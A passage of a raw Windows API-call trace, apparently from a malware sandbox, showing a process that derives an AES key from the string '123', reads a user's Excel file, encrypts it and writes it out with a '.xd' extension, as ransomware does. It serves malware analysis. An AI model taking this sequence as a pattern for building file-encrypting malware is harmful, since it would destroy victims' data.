wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.590] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.590] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.590] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.590] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.591] CryptHashData (hHash=0x164c670, pbData=0x16293f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.591] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.591] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.591] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.591] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.591] CryptDeriveKey (in: hProv=0x17aac48, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.592] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.592] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.592] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.592] CryptDestroyHash (hHash=0x164c670) returned 1 [0071.592] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.592] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\s duzxpfz99j2wo.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.592] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.592] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.593] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.593] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\s duzxpfz99j2wo.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.604] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.604] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0071.606] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x4ef0, lpOverlapped=0x0) returned 1 [0071.606] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.609] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.610] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.610] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.610] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.610] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.610] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.611] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.611] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.611] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.611] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.611] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.611] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.611] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.611] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.611] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.612] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.612] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.613] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621828, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.613] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.613] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14ef0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14f00) returned 1 [0071.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.614] CharLowerBuffW (in: lpsz="byte[85761]", cchLength=0xb | out: lpsz="byte[85761]") returned 0xb [0071.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.615] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.616] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.617] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.617] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17fa908*, pdwDataLen=0x130e618*=0x14ef0, dwBufLen=0x14f00 | out: pbData=0x17fa908*, pdwDataLen=0x130e618*=0x14f00) returned 1 [0071.617] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.617] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.617] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.618] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.620] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.620] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.620] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.620] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.620] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.628] WriteFile (in: hFile=0x2ac, lpBuffer=0x17d0b18*, nNumberOfBytesToWrite=0x14f00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesWritten=0x130f01c*=0x14f00, lpOverlapped=0x0) returned 1 [0071.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.630] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.630] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.630] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.630] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.630] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.630] CryptDestroyKey (hKey=0x164c630) returned 1 [0071.630] PeekMessageW 